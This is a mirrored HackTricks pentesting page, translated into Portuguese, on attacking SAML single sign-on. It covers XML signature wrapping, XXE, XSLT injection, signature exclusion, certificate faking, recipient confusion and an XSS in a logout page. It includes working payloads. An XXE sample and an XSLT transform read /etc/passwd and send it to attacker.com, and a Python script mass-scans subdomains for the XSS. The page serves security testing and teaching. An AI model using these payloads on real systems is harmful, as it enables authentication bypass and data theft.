Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks
History
Translator bb12f520db Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente
2024-01-10 17:13:17 +00:00
..
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:32:14 +00:00
saml-basics.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:13:17 +00:00

README.md

Ataques SAML

Ataques SAML

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Gráfico de Ataques

Ferramenta

SAMLExtractor: Uma ferramenta que pode pegar uma URL ou lista de URLs e retorna a URL de consumo SAML.

Viagem de ida e volta XML

No XML, a parte assinada do XML é salva na memória, depois algumas codificações/de-codificações são realizadas e a assinatura é verificada. Idealmente, essa codificação/de-codificação não deveria alterar os dados, mas baseado nesse cenário, os dados sendo verificados e os dados originais podem não ser os mesmos.

Por exemplo, confira o seguinte código:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Executar o programa contra o REXML 3.2.4 ou versões anteriores resultaria na seguinte saída:

First child in original doc: Y
First child after round-trip: Z

Assim é como o REXML viu o documento XML original do programa acima:

E assim é como ele viu após uma rodada de análise e serialização:

Para mais informações sobre a vulnerabilidade e como explorá-la:

Ataques de Envolvimento de Assinatura XML

Documentos XML contendo Assinaturas XML são tipicamente processados em dois passos independentes: validação da assinatura e invocação de função (lógica de negócios). Se ambos os módulos têm visões diferentes sobre os dados, uma nova classe de vulnerabilidades chamada ataques de Envolvimento de Assinatura XML (XSW) existe.
Nesses ataques, o adversário modifica a estrutura da mensagem injetando elementos falsificados que não invalidam a Assinatura XML. O objetivo dessa alteração é mudar a mensagem de tal forma que a lógica da aplicação e o módulo de verificação da assinatura usem partes diferentes da mensagem. Consequentemente, o receptor verifica a Assinatura XML com sucesso, mas a lógica da aplicação processa o elemento falso. O atacante assim contorna a proteção de integridade e a autenticação de origem da Assinatura XML e pode injetar conteúdo arbitrário.

Da solicitação SAML:

XSW #1

Um atacante pode adicionar um novo elemento raiz onde a assinatura é encontrada. Portanto, quando o validador verifica a integridade da assinatura, ele pode notar que tem verificar a integridade do Response -> Assertion -> Subject, e pode se confundir com o caminho malicioso novo Response -> Assertion -> Subject em vermelho e usar seus dados.

XSW #2

A diferença do #1 é que o tipo de Assinatura usada é uma assinatura destacada onde o XSW #1 usou uma assinatura envolvente.
Note como a nova estrutura maliciosa é a mesma de antes, tentando confundir a lógica de negócios após a verificação de integridade ter sido realizada.

XSW #3

Neste ataque, uma Assertion maliciosa é criada no mesmo nível que a assertion original para tentar confundir a lógica de negócios e usar os dados maliciosos.

XSW #4

XSW #4 é semelhante ao #3, exceto que neste caso a Assertion original se torna um filho da Assertion copiada.

XSW #5

No XSW #5, a Assinatura e a Assertion original não estão em uma das três configurações padrão (envolvida/envolvente/desacoplada). Neste caso, a Assertion copiada envolve a Assinatura.

XSW #6

XSW #6 insere sua Assertion copiada na mesma localização que os números 4 e 5. A parte interessante aqui é que a Assertion copiada envolve a Assinatura, que por sua vez envolve a Assertion original.

XSW #7

XSW #7 insere um elemento Extensions e adiciona a Assertion copiada como filho. Extensions é um elemento XML válido com uma definição de esquema menos restritiva. Os autores deste white paper desenvolveram este método em resposta à biblioteca OpenSAML. OpenSAML usou validação de esquema para comparar corretamente o ID usado durante a validação da assinatura com o ID da Assertion processada. Os autores descobriram que em casos onde Assertions copiadas com o mesmo ID da Assertion original eram filhos de um elemento com uma definição de esquema menos restritiva, eles conseguiram contornar essa contramedida específica.

XSW #8

XSW #8 usa outro elemento XML menos restritivo para realizar uma variação do padrão de ataque usado no XSW #7. Desta vez, a Assertion original é o filho do elemento menos restritivo em vez da Assertion copiada.

Ferramenta

Você pode usar a extensão do Burp SAML Raider para analisar a solicitação, aplicar qualquer ataque XSW que escolher e lançá-lo.

Artigo Original

Para mais informações sobre este ataque, leia o artigo original em https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf

XXE

Se você não sabe que tipo de ataques são XXE, por favor leia a seguinte página:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Devido ao fato de que as Respostas SAML são documentos XML deflacionados e codificados em base64, podemos testar para XXE manipulando o documento XML enviado como a Resposta SAML. Exemplo:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Ferramenta

Você também pode usar a extensão do Burp SAML Raider para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XXE.

Confira também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Para mais informações sobre XSLT, acesse:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Extensible Stylesheet Language Transformation (XSLT) é uma linguagem Turing-completa para transformar documentos XML em outros tipos de documentos, como HTML, JSON ou PDF. Um aspecto importante a ser notado aqui é que o ataque não requer uma assinatura válida para ter sucesso. A razão para isso é que a transformação XSLT ocorre antes que a assinatura digital seja processada para verificação. Basicamente, precisamos de uma Resposta SAML assinada para realizar o ataque, mas a assinatura pode ser autoassinada ou inválida.

xslt

Aqui você pode encontrar um POC para verificar este tipo de vulnerabilidades, na página hacktricks mencionada no início desta seção você pode encontrar payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Ferramenta

Você também pode usar a extensão do Burp SAML Raider para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XSLT.

Confira também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusão de Assinatura XML

A Exclusão de Assinatura é usada para testar como a implementação do SAML se comporta quando não há elemento de Assinatura. Quando um elemento de Assinatura está ausente, a etapa de validação da assinatura pode ser completamente ignorada. Se a Assinatura não for validada, então qualquer conteúdo que normalmente seria assinado pode ser adulterado por um atacante.

Ferramenta

A exclusão de assinatura começa interceptando a Resposta SAML e clicando em Remove Signatures. Ao fazer isso, todos os elementos de Assinatura são removidos.

sig-exclusion

Com as assinaturas removidas, permita que a solicitação prossiga para o alvo. Se a Assinatura não for exigida pelo Serviço

Falsificação de Certificado

A falsificação de certificado é o processo de testar se o Provedor de Serviço verifica se um Provedor de Identidade confiável assinou a Mensagem SAML. A relação de confiança entre SP e IdP é estabelecida e deve ser verificada cada vez que uma Mensagem SAML é recebida. Isso se resume a usar um certificado autoassinado para assinar a Resposta SAML ou Afirmação.

Ferramenta

A extensão do Burp SAML Raider será usada.
Para falsificar um certificado, comece interceptando a Resposta SAML.
Se houver uma Assinatura incluída na Resposta, use o botão Send Certificate to SAML Raider Certs.

send-cert

Após enviar o certificado, devemos ver um certificado importado na aba Certificados do SAML Raider. Uma vez lá, destacamos o certificado importado e pressionamos o botão Save and Self-Sign.

sent-cert

Ao fazer isso, um clone autoassinado do certificado original é gerado. Agora é hora de voltar à solicitação interceptada ainda retida no Proxy do burp. Primeiro, selecione o novo certificado autoassinado no menu suspenso de Assinatura XML. Em seguida, use o botão Remove Signatures para remover quaisquer assinaturas existentes. Finalmente, use o botão (Re-)Sign Message ou (Re-)Sign Assertion (qualquer que seja mais apropriado para a sua situação).

remove-sig

Após assinar a mensagem com o certificado autoassinado, envie-a. Se nos autenticarmos, sabemos que podemos assinar nossas Mensagens SAML. A capacidade de assinar nossas Mensagens SAML significa que podemos alterar valores na Afirmação e eles serão aceitos pelo Provedor de Serviço.

Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviço

Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviço testa se o Provedor de Serviço valida o Destinatário. Isso significa que, se a resposta foi destinada a um Provedor de Serviço diferente, o Provedor de Serviço atual deve perceber isso e rejeitar a autenticação.
O campo Destinatário é um atributo do elemento SubjectConfirmationData, que é filho do elemento Subject em uma Resposta SAML.

O elemento SubjectConfirmationData especifica dados adicionais que permitem confirmar o sujeito ou restringir as circunstâncias sob as quais o ato de confirmação do sujeito pode ocorrer. A confirmação do sujeito ocorre quando uma parte confiável procura verificar a relação entre uma entidade que apresenta a afirmação (ou seja, a entidade atestante) e o sujeito das reivindicações da afirmação.

O atributo Destinatário encontrado no elemento SubjectConfirmationData é uma URL que especifica o local para o qual a Afirmação deve ser entregue. Se o Destinatário for um Provedor de Serviço diferente daquele que o recebe, a Afirmação não deve ser aceita.

Como fazer

A Confusão do Destinatário do Token SAML (SAML-TRC) tem algumas condições prévias para que possamos tentar a exploração. Primeiro, precisamos ter uma conta legítima em um Provedor de Serviço. Segundo, SP-Target deve aceitar tokens emitidos pelo mesmo Provedor de Identidade que atende SP-Legit.

O ataque é relativamente simples se as condições forem verdadeiras. Nós nos autenticamos no SP-Legit através do Provedor de Identidade compartilhado. Em seguida, interceptamos a Resposta SAML a caminho do IdP para SP-Legit. Uma vez interceptada, enviamos a Resposta SAML que foi destinada para SP-Legit para SP-Target em vez disso. Se SP-Target aceitar a Afirmação; nos encontraremos logados com o mesmo nome de conta que temos para SP-Legit e teremos acesso aos recursos correspondentes de SP-Target.

XSS na funcionalidade de Logout

(Acesse a pesquisa original aqui)

Após realizar o brute forcing de diretórios, encontrei a seguinte página:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

É uma página de logout, abri o link acima e fui redirecionado para a seguinte página

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

O parâmetro base está recebendo uma URL, então que tal substituí-lo pelo clássico javascript:alert(123); para acionar um XSS.

Exploração em Massa

Usando SAMLExtractor que pode receber uma lista de URLs e depois devolver a URL de callback (consumo SAML), decidi alimentar a ferramenta com todos os subdomínios de uberinternal.com para ver se há outros domínios que usam a mesma biblioteca, e havia.

O que fiz em seguida foi criar um script que chama a página vulnerável oidauth/prompt e tenta o XSS e, se minha entrada for refletida, ele me dá uma mensagem de vulnerável agradável.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referências

Os ataques foram obtidos de https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
Você pode encontrar recursos adicionais e write-ups em https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/

Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: